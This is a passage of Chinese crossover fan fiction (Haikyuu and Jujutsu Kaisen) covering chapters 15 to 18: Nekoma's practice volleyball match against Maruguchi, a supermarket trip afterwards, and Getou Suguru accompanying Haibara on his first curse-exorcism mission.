“哦斯!我正是在为不受伤而努力准备啊!”山本猛虎跨开一个大弓步。 “嘛……即使是无球热身,太夸张的话,也是有可能伤到自己的。我现在很为你的腘绳肌担忧啊。” 山本猛虎却仿佛没听到似的,大叫着转动腰部,右手下探抓住左脚踝,左手高高举起—— “我是……不会输给那个家伙的!啊啊啊啊——” 输?谁? 黑尾铁朗疑惑地朝后辈瞪视的方向扭头望去。 只见一道身影几乎整个趴在地上。从他的角度,只能看到一只右腿贴着地板后伸,上半身向前低低地伏下去。 黑尾铁朗情不自禁朝那处走了两步,终于看到了全貌——左腿内折,完全挨着地面。只留两只小臂抵着球场,手上居然还没忘打字。 “……”黑尾铁朗足足愣了三秒。 “你……你这是……” 夏油幸转动脑袋,一双异瞳平淡地朝他那里看了一眼:“热身。” 足以让每个人□□一凉的姿势。黑尾铁朗愣愣地道:“……之前怎么没见你……” 夏油幸转了转右脚踝:“今天可能会连打三局啊。你不拉伸么?” 黑尾铁朗:“……我先去旁边做点普通的猫式拉伸。” 15.第 15 章 “谁先发球?” “你先?” “你先吧。” “你先你先。” “既然这样,”大野教练慢悠悠地道,“就让我们队的市川用发球开个好场吧。” 石井教练点点头,走回己方队伍,将首发站位交代了一遍—— 前排从左至右是夏油幸、山本猛虎和黑尾铁朗;后排则是原田、海信行和孤爪研磨。两名副攻进入后排时,由夜久卫辅负责轮换上场。 交代好一切后,石井教练返回音驹这边的替补席,一个短刺猬头的男人已经在站在那里了。 突然出现的陌生男人让黑尾铁朗忍不住朝那处看去,而石井教练则已经以一副熟稔的姿态和对方交谈起来了。 “……真是怀念啊。”直井学望着场上音驹红色的队服,脸上不禁露出笑容,“毕业后我也去看过几场音驹的比赛,不过都是在观众席上。和现在的距离,完全没法放到一起比较。” “挨得很近的感觉不错吧。”石井教练笑道,“要不要再靠近点儿?” “不,现在刚刚好。”直井学摇摇头,“毕竟我还是音驹队员的时候,一直都是以这样的距离,在替补席上默默注视着队伍啊。” 石井教练拍了拍好友的肩膀,两人一齐将目光投向场内。 丸口商的1号位,正是队长市川。 隔着球网观察对手的站位,市川很快注意到位于音驹右下角的黑色蘑菇头。 陌生的一年级面孔,又不像两个二年级后排球员那样蓄势以待。 应该是音驹的新人二传手了。 那么—— 市川将球抛到右肩的上前方,挥动右臂,手掌结结实实地包住球,瞄准对角线的方向将球一击。 “——我来!” 排球自掌心击出的一瞬,夜久卫辅已经从后场左侧向右横移。 同时,孤爪研磨朝三米线的方向挪动几步。 小球自前者的双臂弹起,精准飞向后者。 研磨抬起双手。 “啪。” 没有任何的犹豫,排球迅速从指尖飞出。 网前,黑尾铁朗已经起跳,排球自他手中飞快拍出。 丸口商拦网成员的手臂还高高地展在空中,排球已然落到他身后。 “!”空着手落回地板的山本猛虎,羡慕又期待地望了黑尾一眼。 隔着球网,丸口商副攻露出的惊讶的眼神,被黑尾铁朗收入眼底。 “喂,研磨。”黑尾扭头笑道,“他们似乎不觉得,新加入的一年级,第一球就会和高年级配合打快攻。” “……”孤爪研磨点点头,表示自己观察到了。 音驹:丸口商=1:0。 夜久卫辅暂时离场,黑尾铁朗发球。 抛球,助跑,起跳。 排球带着强烈的旋转飞过球网。 “黑尾的跳发一直有在练习。”场边,石井教练忍不住点头,“越来越稳定了。” “可惜被接起来了。”眼睛紧紧盯着拿到蓝黄的轨迹,直井学道,“咦,丸口商的队长是二传。” 话音未落,排球已经被市川送到左翼,丸口商4号位的卷毛眼睛一亮,跃至半空,大力挥臂—— “啪——!” 三双手同时出现在视野上方。 “啊——!” 丸口商的后辈落回地面,懊恼地抓了抓头发。 “别放在心上。”赶过来的市川拍了拍后辈的肩膀,“一年级放开打就可以了。” “前辈,”丸口商一年级小林感动地抬起头,望向自家队长。 “……说起来。” 音驹的替补席上,直井学忍不住道:“丸口商的二传……好高啊。” “市川的个子快190了,不知道这半年有没有突破。”石川教练道,“我们这边没有190的家伙,不过黑尾和夏油都上了180,也不错了。” “这么高的个子啊……” “而且手感不错。刚才那边的一传有些偏了,他的二传还是很准确。”石川教练说着,将目光掰回到自家场上,“……孤爪,稍微有些没干劲啊。” 音驹的场地上,黑尾发了第二球。 第一球被丸口商的队长和副攻用快攻回敬成功,黑尾下场,将夜久卫辅重新换了上去。 音驹:丸口商=2:1。 排球自场上飞来飞去,比分也在记分牌上改变着。而孤爪研磨几乎没离开过二、三号位之间的那一块区域附近。夜久的一传总能精准落到那里,他最多只需要挪动一两步。 场上人员来回跑动纷纷,唯有那道蘑菇头的背影始终矗立在那里。 负责一传的夜久卫辅稍微有些困惑。 “孤爪……你已经累了吗?”夜久卫辅忍不住道。 孤爪研磨摇摇头:“夜久前辈,一传很到位。” “我是可以把球传到你那里啦……但是,”夜久卫辅挠挠头,“你稍微跑动跑动……?” 孤爪研磨点点头。 他脑内飞快地思索着——目前的位置,小黑在场下,音驹拦网少了最强力的一员。不过网前是三点攻,原田、夏油、山本。 传给…… “我来!”山本猛虎眼冒火星。 嘛。 孤爪研磨顺势将球托了过去。 “!”梦寐以求的进攻就在眼前,山本猛虎连忙跃起。 丸口商的三名拦网球员迅速向山本起跳的方向靠拢。 排球撞上拦网,向场内跌去的一瞬,夜久卫辅鱼跃而来,球自手背高高弹向上空。 处于右后方的孤爪研磨仰头盯着这颗球,内心思索着,上手将球飞快传给山本猛虎。 后者大叫着扣出斜线球,避开丸口商仓促组织的二人拦网——进攻成功。 “——莫西干头的气势提上来了。 ”直井学道。 石井教练点点头。 “他们之前配合过吗?” 石井教练摇摇头:“这个阵营是第一次。” “哦哦——!”山本猛虎激动地发出大叫,成功引发孤爪研磨的皱眉。 “……小声一点。” 后者的声音淹没在排球扣击声中。 下一球,仿佛在回应山本猛虎的话似的,由他发出的进攻,被丸口商的拦网小队牢牢地挡了回去。 这颗球的落地点在山本和球网之间,夜久也没法救起,丸口商拦网小队露出笑容:“喂,别小瞧我们啊。” 丸口商的第二次发球选择瞄准音驹的左下角。 几乎是瞬间,孤爪研磨便明白对手的打算。 选择将球扣到离他最远的位置,如果一传没能到位,那么他们这边的进攻节奏就会被打乱。 但是…… 孤爪研磨面无表情地将夜久托过来的球传向网前,山本猛虎大叫着扣下。 “……怎么总是这个莫西干头在扣球?”直井学忍不住道,“前排三点攻,二传手不给其他两个人球吗?” 音驹的下一次进攻,依旧是山本猛虎。 丸口商的人也忍不住小声讨论了起来。 “喂喂……对面怎么回事,旁边两个就站着吗?” “硬抢的话会撞到一起吧……” “因为是新人吧,新人二传。” 丸口商前排三人对视一眼。 下一球,内心依旧留有提防。 隔着球网,丸口商副攻手观察着对手。 山本猛虎正在助跑。 而孤爪研磨的肩膀、视线与手臂方向,都和之前别无二致,依旧朝着2号位的方向。 丸口商三人迅速起跳。 “——砰!” 余光捕捉到排球轨迹改变的时候,已然来不及了。 丸口商自由人飞快地朝那颗球跑去,但球已经在网前落地。 右边的场地…… 丸口商拦网小队怔怔地落到地上。 怎么会…… 那只手的方向,明明是…… 场边,黑尾铁朗露出笑容。 他方才看得很清楚,在丸口商起跳的一瞬,研磨飞快地改变了方向,将球朝守在左翼的夏油幸托了过去。 而后者也不负所望地扣下了这颗球。 宛如早就商量好一般。 “我做了诱饵?”场上,挥空的山本猛虎愣愣地道,“你们商量好了?” 刚才使了眼色。孤爪研磨用眼神道。 “怎么做到的……” 就像现在这样。孤爪研磨继续用眼神回答。 而山本猛虎显然没怎么看懂。 沉默两秒,山本猛虎攥起拳头:“哟西,我也要努力!” “……”孤爪研磨朝旁边退了两步。 太激情了,这个家伙。 16.第 16 章 ACE。 在以团队协作为基石的排球这项运动中,发球可以说,是超越扣球的、唯一一项完全依赖自己而展开的、个人主义的究极进攻。 站在场边,死球的间隙,黑尾铁朗认真地回想了一下,这短暂的一周时间里,这位后辈在练习中展现过的发球。 ——稳定。 那么现在就是,「强力」。 夏油幸开始第二球。 比赛才开始不久,没有谁会认为夏油幸已经乏力。虽然丸口商已经有人在内心双手合十,默默祈祷这个人没法保持状态。 但带着强烈上旋急飞过来的排球,昭示这一球的威力犹在。 丸口商自由人提前后撤,在短暂的一秒不到的时间里,降低重心,将两只手臂形成的平台牢牢地稳定在身前。 ——来了! “砰——!” 强烈的撞击,排球被小臂改变了方向,随着弹出场外的蓝黄飞影,丸口商自由人也同时朝后跌在地上。 “丸口商意识不错嘛。”直井学摸着下巴道。 和音驹这位新人主攻手第一次打比赛,迅速地依据那一球做出判断,降低一传目标。 场边的视野十分清楚。直井学看到丸口商的三人接发线变深,接球的主力交给自由人,一人提防落点靠前或是急坠,另一个人应该是准备好追球……虽然来不及。 “丸口商这几年几乎稳定在IH预选赛的种子队里了。”石井教练道,“论地板防守,他们不会比我们更好。不过去年打比赛的时候,这支队伍有种六边形的感觉。” 场上,丸口商的自由人看向自家队长:“……下一球,一定会接起来。” 市川点头,目光迎向前方。 网的对面,熟悉的动作,熟悉的排球,在指尖悠悠地转动。 “——前辈,”市川听到后辈的声音,“等我的跳发练好了,我也要给自己弄一个标志性的动作!” 吐槽的心情和力道没有丝毫减弱的发球几乎同时来到。 随着自由人翻滚的声响,市川跑动追球,高高跃起,排球在指尖摩擦出刺痛的感觉,在网前某道炽热卷毛背影的召唤中,朝另一处飞去—— “——假动作!” 音驹的网前,原田已然在丸口商后辈主攻手的面前跃起。 ——来不及了! 排球在扑救的指尖到达前落地。 记分牌翻动。 音驹:丸口商=7:3。 丸口商,轮转到1号位的卷毛负责发球。 就在卷毛抱着球走到底线后面时,他忽然做了个众人意想不到的动作。 右手的食指高高抬起,直直地朝网的另一端,音驹后场右侧的方位指来。 夏油幸原本是没看见的。 但奈何无论是对面丸口商的人,还是自己这边的队友,每个人的眼睛都像探照灯似的,顺着那根手指朝他看来。层层叠叠,宛如电影的推进镜头一般。 ——这是什么意思。 要对准他发球? 夏油幸朝左一看,夜久卫辅叉腰,朝他严肃点头。 ——交给我吧! 矮个子前辈的脸上写着大大的四个字。 “……” 这样的感觉,无疑是新鲜的。 夏油幸忽然想起自己国中的时候,在排球部待的一年多里,当时的部长高桥说得最多的一句话是—— “只能让全部的接球、传球、扣球,由我们三个人包办了!” 排球飞过网。 夏油幸判断着球的落点,朝那处追去,同时余光留意着自左端飞快移来的夜久卫辅的跑动路线。 夏油幸仰起头,朝下落的排球伸出手。 视线中,那颗排球在半空过了三米线后,忽然像没劲了似的开始下坠! 夏油幸脑袋上冒着问号,一边朝前扑去。 一道白色的身影比他更快。 “——!” 差一点点就接起来了,夜久卫辅耿耿于怀地趴在球场上。 “……我讨厌飘球。” 夏油幸伸手把这位自由人从地板上拉起来。 握着这只手,夜久卫辅借力爬起,真诚地对后辈道:“不过,还是带强烈旋转的大力跳发最恶心了。” 卷毛继续发球。 这次夜久不但成功接起来,还进行了完美的一传,孤爪研磨不须跑动,就将球传给了海信行。 黑尾上场到4号位,原田站到1号位。 石井教练道:“原田发球有些不熟练。不过是练习赛,也没关系了。” 山本猛虎发球下网在前,原田选择了上手发球。 排球悠悠飞向对网,虽然没有强势的力道,不过胜在平稳。 这一球结束后,暂时下场的夜久卫辅换掉原田。 黑尾铁朗重回网前,丸口商的进攻受到了不小阻碍。当然不是每一球都能直接拦死,可黑尾力求不空手落地,拦不下也要用手指触球减缓攻势,为一传创造条件。 夏油幸在后排跟着球来来回回跑动好几轮,清晰地感受到这位鸡冠头前辈的难缠属性,正在赛场上呈指数级增长。 作为主攻手,他原本就要负责队内的接防与一传,因而跑动是少不了的。 只有这种时候,对自身优缺点向来了如指掌的夏油幸才会畅想畅想换个位置的情境。 毕竟以目前场上的情况而言,在夜久卫辅稳定的一传下,作为二传手的孤爪的跑动无疑是最少的。 有水准绝佳的自由人兜住后场,前排又有难缠的黑尾前辈——能够在赛场上颇有余裕地胡思乱想,多亏了大家。 “——砰!” 后排进攻,得分。 夏油幸落到地上,将垂落到前额的刘海往侧边拨了拨。 孤爪研磨喘着气稍微朝他挪了两步:“……这个位置,怎么样?” 夏油幸点点头:“不错。” 比分来到9:5。 只要再拿下一分,音驹就要突破十分关卡了。 “不要掉以轻心。”黑尾在网前沉声道,“丸口商……一直都是很稳定的队伍。” “是!”山本猛虎积极回应道。 随着快攻成功,丸口商重新拿回发球权。 就在这时,丸口商的队长市川朝场外投去一个眼神,丸口商的大野教练十分配合地喊了暂停。 市川将队员们聚拢到一块。 “把球尽量往前场打。”市川说着,叮嘱队员多注意对面的二传手。 “比赛进行到现在,音驹二传极少跑动,但是已经露出疲惫的样子。消耗体力的同时,让他无法组织进攻。” “前排现在只有一个主攻手,那家伙的性子有些急躁啊。”市川露出笑容。 安排好莫西干头后,抓住暂停时间的尾巴,市川又道:“轮到那个眼睛颜色不一样的主攻手扣球,可以只留一个人拦网,其他人保证接防。” “是!” 暂停结束,丸口商发球。 孤爪研磨刚刚侧过身体,排球便已然越过球网,朝他的前方压来。 “……”孤爪研磨脚下一顿,屈起膝盖,双臂并到身前 。 排球被下手垫向左侧。 黑尾铁朗反应很快,配合着将球二传向左翼。 4号位,山本猛虎开始助跑。 这颗高高飞起的球去向分明,对两方而言都是如此。 丸口商的拦网球员迅速朝山本猛虎进攻的位置靠拢,而后者却毫无畏惧,迎着高高升起的手臂,重重地扣了下去。 “砰——!” 排球自拦网球员的两臂之间穿过,山本猛虎眼前一亮。 下一秒,那颗蓝黄小球自丸口商后场高高弹起,重回视野。 ——被接起来了! 还是力量不够啊! 转瞬之间,丸口商已经重新组织进攻。排球重重砸向音驹的后场。 来不及为这一球懊恼,丸口商继续发球。 目标继续瞄准孤爪研磨。 这一次,黑尾早有准备,在排球飞起的一瞬朝右侧横移,接起排球。 不过,刚刚完成一传的黑尾铁朗,代价是错过快攻的时机。几乎是孤爪研磨托高球的同时,丸口商的拦网小队迅速朝音驹左翼的方向移去。 排球再一次飞向山本猛虎。 珍贵的、赛场上进攻的机会。 高高跃起的一瞬,拦在眼前的是球网上沿的三双手掌。 山本猛虎咬紧牙关,挥臂扣下。 “啪!” 排球撞上高举的手掌,几乎没有任何停顿,以巨大的冲力撞回音驹的场地。 音驹:丸口商=9:8。 山本猛虎喘着气落回地面。 就在这时,球网对面传来一道充满笑意的声音。 “哎,那个莫西干头,小心一点啦。” 山本猛虎一僵,嘴唇不由自主地抿起。 黑尾铁朗暗道不好,连忙拍了拍这个后辈的肩膀:“下一球。” “……”山本猛虎用力点头。 还有一分,丸口商就要将自己这边追平。 山本猛虎死死地盯着飞在空中的球。 这是来到梦想的音驹的……第一场练习赛啊! 似乎还是通往左翼的高球,但在跃起送出的一瞬,蘑菇头的二传手右腕一偏,排球依旧通往球场左侧——却是后排! 依旧是丸口商朝孤爪研磨的针对性发球,夏油幸没想到对方居然会直接把球一传给自己。 大脑接收到信号的一瞬,身体已经动了起来。 两步助跑,在前排的山本猛虎和黑尾铁朗落下之时,夏油幸自三米线外起跳的身影高高跃起,右臂挥下。 ——后排进攻! 排球砸上丸口商前排球员的胳膊,朝球网上沿飞来。 ——ceball! 这一球,一定要扣回去! 目之所及,唯有那颗熟悉的排球。 山本猛虎起跳! 夏油幸落到地面,映入眼帘的,便是这一幕。 排球在3、4号位之间下落,自左侧冲过去的山本猛虎,和自中场起跳的黑尾铁朗。 前者高举的右臂撞上后者的左肩。 从夏油幸的角度,清楚地看到黑尾左肩条件反射地一缩,在右手马上碰到排球之际。 进攻瞬间乱掉,指尖在排球下沿胡乱一拨,排球轻飘飘地自身体和球网之间落下。 “唔哦?!” 黑尾铁朗扭头看向山本猛虎。 “别在意,别放在心上。”黑尾铁朗语气轻松,“第一次打比赛,发生什么情况都很正常。” 而莫西干头的后辈,已然彻底石化了。 17.第 17 章 比分被追平了。 隔壁替补席上,大野教练悠游的气氛一路飘到音驹这边,石井教练道:“……赛场上,心态很重要啊。” 大野教练投来微笑。 “嘛,我倒是理解这份心情。”直井学望着场上那颗莫西干头,“有正选队员在前,对于并非首发的一年级来说,上场的机会是极少的。出错是因为重视,要暂停吗?” 石井教练摇摇头:“练习赛,就让他们尽情地暴露问题吧。” 在不断的跑动和起跳中,黑尾铁朗仍留出一分注意,给身旁的山本猛虎。 在又用软式拦网削弱一球,进攻交给后排的夏油幸之时,黑尾铁朗短促地吐了口气。 丸口商的进攻起效了,无论是战术上的,还是心理上的。自打一个不留神撞到他后,山本拦网时便多了一份小心翼翼。 ……说真的,自己长得也算是很有亲和力的那种帅气类型吧。 在山本猛虎移开和他对视的目光后,黑尾铁朗不禁如此想到。 “——小黑!” 黑尾铁朗配合幼驯染,打出成功的快攻。 拿回一分。 音驹轮转。 “要小心了。”丸口商一侧,市川提醒队友道,“现在这个站位,是音驹进攻火力最强的一轮。” 前排三人,左翼有强力的异瞳主攻手,中间有莫西干头主攻手,右翼是难缠的鸡冠头。 前排任何一个位置,随时都可能成为进攻点。 网前,黑尾铁朗低声道:“趁着卷毛没上到前排多拿几分,还有,下一轮要到市川发球了。” “是!”山本猛虎用力点头。 黑尾铁朗偏过脸,对后辈露出鼓励的微笑。 再往左,夏油幸正盯着球网,冷淡的侧脸阻断了微笑的传递。 啧啧。黑尾铁朗转回脸。 喂喂,不用去冰岛了。 冰川与火山并排的奇观,已经在这里见到了。 音驹的反击开始了。孤爪研磨以黑尾的快攻突破拦网,引发丸口商注意后,又迅速启用夏油幸和山本猛虎。他托球的动作几乎瞧不出真实的二传方向,音驹连拿四分后,丸口商才夺回发球权。 市川以强力的发球瞄准后排的孤爪研磨。 用不断的发球与扣球瞄准对网的二传手,以尽可能影响组织进攻,面对攻手,尤其以夏油幸为主要火力的轮次,以限制球路为目标组织拦防。这是丸口商的作战。 接下来,双方都在不断的判断与调整中比赛着。 第一局以25:23结束。局间休息的间隙,夜久卫辅神清气爽道:“丸口商应援横幅上的标语是「实用」,怎么样,算是不错的对手吧?” “……实用。”夏油幸握着半瓶矿泉水,重复了一遍对手的标语,肯定地点点头。 夜久卫辅拍拍胸脯:“我们音驹的更nice哟——「维系」!” 面前却没有掌声。 三个后辈,夏油正有节奏地喝水中,山本蹲到一旁好像在看地板,只有坐在替补席上的孤爪研磨对上他的目光,却又喘着气,缓缓把视线挪开。 “……” 夜久卫辅倒在海信行肩膀上。 三局制的练习赛最终由音驹以2∶1拿下。因为是周末,时间还早,两位教练一合计,又让两支队伍打了几局,福永招平也轮换上场了好几次。 练习赛正式结束,两队在场地两侧集合。 两位教练交换了位置。石井教练走向丸口商,大野教练则站到了音驹队员面前。 “请您指教!”两支队伍的声音,在两侧一齐响起。 “——你们和我记忆中的不一样了。”大野教练露出慈祥的笑容,“之前交手时,‘维系’的音驹,给我留下了很深的印象。” “说实在的,过去的音驹并不以强攻见长。不过,开局或许会吃亏,可比赛越是胶着,那份联结反倒愈发清晰,也越难被彻底击垮。” “新加入的一年级真是了不起啊。发球和扣球的水准即使放到东京这样的赛区也不容小觑,用我们那位能干的队长的话说——终于拥有了进攻的矛。” “不过,这份力量要如何使用,才能让它真正成为队伍的武器呢?” “——谢谢您!”黑尾铁朗带头道。 教练点评结束后,双方队员一边朝外走,一边互相打招呼、道别。 “哇,你真是吓了我一跳。”丸口商的卷毛小林握着毛巾跟到夏油幸身边,“没想到最后一局,你居然还能扣出那样的球,发球也是!体力真是超——好啊!” 夏油幸回以微笑。 “诶都,”卷毛从外套口袋里摸出手机,期期艾艾道,“加个联系方式吧。” 夏油幸与所预料相反地,爽快地交换了邮箱地址。 二人的前方,丸口商的正牌队长市川和音驹的暂代队长黑尾并肩而行。 市川的声音充满调侃:“黑尾,你都二年级了,还没当上部长么?” 黑尾铁朗龇出大白牙:“哇啊,你这个部长带新人倒是很勤快啊。等你毕业,都能够直接以拥有三年经验的新卒姿态去应聘保育员了~” 市川面上却没有半点被噎住的神色。他大大方方地道:“既然做了部长就要做好,无论什么样的队员我都会用心对待,更何况是实力强劲的新人?倒是你——” 市川用右肘顶了顶黑尾:“我可还没忘呢,上次冬假集训,你们队里那几个,捡球稍微慢点儿就怪声怪气的。今年相处还好吗?” “……”黑尾铁朗皮笑肉不笑,“市川,你真是个健谈的人。” 市川笑眯眯:“面对你,我更健谈了。” 说罢,市川往身后一探,将正念念有词的后辈捞过来,两人一块走了。 走在后面的音驹队员,还能听见市川疑惑的声音飘来—— “你为什么一直在重复‘人不可貌相’?” 音驹返程的电车上。 车厢里,直井学和石井教练坐在一起。黑尾偶尔投去好奇的一眼,说起来,今天的练习赛,这位刺猬头的男人在替补席上坐了整场,也和教练交流了整场。 是教练请来的外援吗? 不过,眼下有更要紧的事。 电车到站后,夏油幸出站,没走两步,右肩便被一只手勾住。 “夏油——” 夏油幸一扭头,便看到黑尾学长正拉着同级的孤爪的袖子,而后者正一副生人勿近的样子。 “有什么事吗?”夏油幸客气道。 “一起回去吧。”黑尾铁朗爽朗笑,“我们三家离得很近。” 很近?夏油幸眉头微微一蹙。 刚有疑问,忽然想起来了,开学前的两千円。现在看来,孤爪君就是当初那个黑色物体吧。 “不用了。”夏油幸说罢,转身离去。 “等一等。”黑尾铁朗叫住后辈,“回家的路在右边,你走反了。” “……”夏油幸扭头,没什么表情地看了回来。 面对那双一黑一金的异瞳,黑尾铁朗心中没有升起什么退避或是奇怪的心情。这一周下来,黑尾已经了解后辈的性格了,没有什么比切身体会更加真实。 “你警惕心可真够高的。”黑尾铁朗挑眉,“难道我们是坏人吗?” 闻言,孤爪研磨默默地把自己的袖子从幼驯染手中拉出来。 “……喂,研磨,好歹给我点面子啊!” 夏油幸看了两人一眼:“虽然黑尾学长比我高 一点,但我不认为你们能打得过我。” “不是警惕,那是因为什么?” “我要去逛超市,和你们并不同路。” “我们也去。”黑尾摆摆手,“不是为了跟着你才这么说——我们要买午饭。” 夏油幸这次很利落地点头了。 黑尾铁朗在心里叹了口气。 他既不是死缠烂打的人,当然也不会怀抱着“大家都要成为好朋友”的乌托邦式思维——他没有生活在天线宝宝的世界里。 只是,大家同在一个部活,今后要朝夕相处不提,排球这项运动正是建立在协作配合之上……真是的。 早有预料,可这样的现实真的出现到眼前,黑尾铁朗也不免头疼。 难道社交水平退化了么?他可是已经成长为社交达人了啊! 一旁,夏油幸对着手机哒哒发消息—— [尼桑——] …… 夏油杰正和后辈一起做任务。 新学期新气象,欧豆豆来到,他在东京有了新家之余,高专也添了两枚新丁。 一年级的七海建人,与此刻他身边这位—— “前辈。”锅盖头睁着大眼睛,将脸侧过来。 ——灰原雄。 “灰原。”夏油杰将目光从屏幕转移到后辈脸上,“什么事?” 后辈摇摇头。 “是在紧张吗?”看着后辈脸上的表情,夏油杰道,“因为第一次出任务?” 后辈点点头:“我会好好表现的。” 夏油杰低头看了看后辈那双正放在膝盖上的、攥到一块的拳头,伸手在上面轻轻拍了拍:“你最近训练怎么样,体术课。” “诶,前辈忘了吗?”灰原雄道,“体术课也是和前辈一起上的,那个,我学会了——” baba,baba……灰原雄很快把自己进入高专以来学到的东西从头到尾报了一遍。最后实在挤不出新东西,甚至把一顿两碗饭变成四碗饭都加上了。 夏油杰本来含笑听着,听到后辈的结束语忍不住一愣:“不算早饭,一天八碗饭?” 灰原雄摸摸自己平坦的肚子:“毕竟我还在长身体啊。” “那么,你学到了这么多东西,又吃了很多饭,身体比以前要强壮了吧?”夏油杰温声道,“虽然是第一个任务,不过,是只三级咒灵,你怕自己对付不了吗?” 灰原雄摇摇头,琥珀色的眼睛一下子认真起来:“对付的姿态也是有差异的。狼狈地对付,帅气地对付,我想要拥有的,是前者。” “……”夏油杰用柔和的目光注视着后辈。 “……”前辈……灰原雄仰起脸。 驾驶座上的辅助监督忍不住道:“那个,灰原君,你想要的,是后者啦!” “哦。”灰原雄迅速举起文件,挡住自己冒热气的脸蛋。 夏油杰让自己不要笑出来:“灰原……不用担心。总之,我相信你能够对付,而且我会陪着你的。” 文件后传来窸窸窣窣的动静,上方露出的栗色呆毛在眼前一上一下。 就在这时,掌心传来两声震动。 夏油杰低头,看到弟弟新鲜发来的一串邮件。 [……看你的描述,是很有责任心的类型。三年级毕业后,会是这位做部长吗?] 夏油杰一边用左手打字,一边用右手将文件从后辈脸上拉下来:“别捂着了。” [小幸,顺便买两盒牛奶回家吧。] 对面发来跳舞小人表情包。与此同时,汽车也缓缓减速,最终停在一条木林夹道的山路前。 夏油杰朝后辈点头:“我们下去吧,灰原。” 灰原雄举起右拳:“嗯!” 18.第 18 章 “……前辈,我好热啊。” 午间日头正盛。四月的枝头尚且稀疏,阳光穿透新叶,尽情铺开在山林间。走得久了,眼前绿棕交错的山景仿佛浮着一层晃眼的白光。 灰原雄能感到汗珠自后颈滑下,可一停下脚步,去树荫下稍作休息,又会忽然不知从哪里飘来一股阴风,吹得他后背发凉。 这是咒灵的作用吗? 还是山里的天气本来就这么怪? “……术式在监测报告上是……未知,”灰原雄忍不住把校服扣子解了两颗,“会不会,我们已经踏入它的结界了?” “我并没有感觉到,不过小心总是没错。”夏油杰望了望远处,“上周一名老人在这里失踪,‘窗’也在附近观测到了异常的咒力反应,虽然无法确定二者是否有关。” “再坚持一会儿,”夏油杰指了指斜挎在身侧的包,“里面有水和红豆面包,需要的时候告诉我哦。” “诶?”灰原雄登时惊讶地看向那只小包,“前辈的包里居然是这些——我还以为装着很厉害的咒具呢!” “这是三级咒灵,”夏油杰道,“应该用不上那些东西。” “但是,现场的话,有可能发生各种各样的情况吧?” 夏油杰侧过脸。 后辈的神情依旧明亮,锅盖头下的琥珀色眼睛正透着认真与活力。 “是有这种可能。”他答道,“所以我才会和你一起来。” 灰原雄用力点头:“是!” 响亮的回答打扰了不远处枝头上的一只乌鸦。乌鸦扭头朝两人看了一眼,扑扇起翅膀,消失在林木之间。 四周重新安静下来。 不知道是不是刚才有小虫落了下来,后颈忽然传来一阵若有若无的痒意。灰原雄垂下眼睛,伸手去摸。 再次抬起眼睛,前方不知道什么时候多了一团伏在树后的黑影。 “……”灰原雄一愣。 夏油杰也看到了。 树后那团庞大的黑色,由粗壮的四肢似的东西交错缠绕而成。身下垂落着触手状的肢条,表皮如同呼吸般不断起伏,隔远望去,几乎像一头扭曲、变异的黑熊。 “是……熊一样的家伙!” “确实是三级。”夏油杰略一顿,还是召唤出一只咒灵以备不时之需,“好了,去吧。” 前辈啊……灰原雄吞吞口水:“我去了。” 灰原雄向前踏出一步。 早就做好了准备,在学校里也上了一周的体术课,身后还站着可靠的前辈……可这头庞然大物真的朝自己飞来的时候,浑身的汗毛都要炸起来了…… 咒力覆上紧握的拳头,灰原雄狠狠挥出一拳。 ——打到了! 拳头陷入咒灵身体的瞬间,指骨完全像泡进一团黏腻而滑软的东西似的。 哇,好恶心,史莱姆吗?! 灰原雄本能地想要抽手,咒灵的腕足却朝他脖子劈来。 他咬着牙,闪身避开,拳头从那团黏稠的身体中挣脱出来,又一次重重砸了下去。 咒灵的肢条在眼前疯狂挥舞,灰原雄在闪避中不断抓住时机挥拳……直到咒灵粗重的嘶吼越发含混,庞大的身躯自拳头击中的地方慢慢瓦解,散作碎屑,在山风中消失无踪。 “……” ……结束了。 灰原雄低头看了看自己的拳头,又看了看一片静好的山林。 爸爸妈妈,还有妹妹……今天,他完全依靠自己的双手,作为咒术师,成功地祓除了一只咒灵! 灰原雄转过身,快步走回夏油杰面前。 “前辈。”灰原雄站定,“我回来了……” 夏油杰捕捉到后辈脸上一闪而过的纠结:“怎么了?” “刚才……我大脑一片空白。”灰原雄垂下眼睛,“在体术课上学了很多招式,但是……好像忘得一干二净,只顾着挥拳了。” “第一次实战,紧张是再正常不过的事,”夏油杰拍了拍后辈的肩膀,“你的咒力没有乱,身体也很灵活,体术原本也是祓除方法之一,做得不错。” “……”灰原雄抬起头,伸手,“前辈,请给我一个豇豆面包。” “只有红豆。”夏油杰取出一个面包,放到后辈掌心。 灰原雄拆开包装,咬了几大口,又拧开矿泉水喝了几口,总算觉得体力回来点儿了。 “前辈,”他含混不清地道,“你要回宿舍吗?我们一起吃饭吧。” “抱歉灰原,今天就不了。”夏油杰握着手机晃了晃,“我弟弟在家里等我。” “前辈的弟弟啊……我也有个妹妹。”灰原雄放松的神情更加柔软了,“我也应该回家了。” …… 夏油幸原本的练习赛后采购计划消失了,现在,他几乎被黑尾铁朗带着走。 他之前打算去的那家超市,在黑尾的建议下也放弃了。 黑尾学长说,这附近他常常来,因此知道另外一家超市。不但比离家近的那家规模大很多,商品种类也十分齐全,吃的、用的,堪称应有尽有。 黑尾铁朗和孤爪研磨打算去买午饭的超市就是这家。 出于对本地人的信赖,夏油幸好奇地跟过去了。 一进超市,三人便推了两辆小推车。 孤爪研磨没有发表什么意见,夏油幸处于未知状态,黑尾铁朗便自动当起领头羊,率领两人穿进食品卖场,在摆满便当和炸物的熟食区前停下。 “我看看……”黑尾铁朗掏出手机看了一眼,“现在是一点三十四分。” “……”黑尾铁朗叉腰,站在一众便当前,目光在上面扫视着,“打折的这几款都不是很好吃,热门的果然已经卖掉不少了啊。” “喂,研磨,你还是那个吗?”黑尾铁朗扭头问道。 得到幼驯染的“嗯”后,他熟练地拿起一份生姜烧猪肉便当和一份稻荷寿司。又朝右挪了挪身体,从旁边的陈列台上拿了一盒盐烤秋刀鱼。 “这里的炸物不错,配便当很合适。”黑尾铁朗将东西放到推车,对夏油幸道,“我推荐生姜烧便当哦。” 夏油幸已经在旁边盯着陈列台看一会儿了,闻言略微犹豫几秒,拿了一份生姜烧便当、一盒冷乌冬,还有两盒什锦天妇罗。 接下来是甜品区,一直不怎么说话的孤爪研磨目标明确地拿了一盒苹果派,夏油幸则将手伸向一块三角巧克力蛋糕。 “这个很苦哟。”黑尾铁朗提醒道。 “拿对了。”夏油幸把蛋糕放到自己的小推车里,“我恰好不喜欢吃太甜的。” 经过饮料区时,夏油幸停下脚步,从货架上拿了运动饮料、麦茶和一盒苹果汁。 挑选调料时,夏油幸的目光沿着货架移动,随后又往前凑了凑。 “怎么了?” 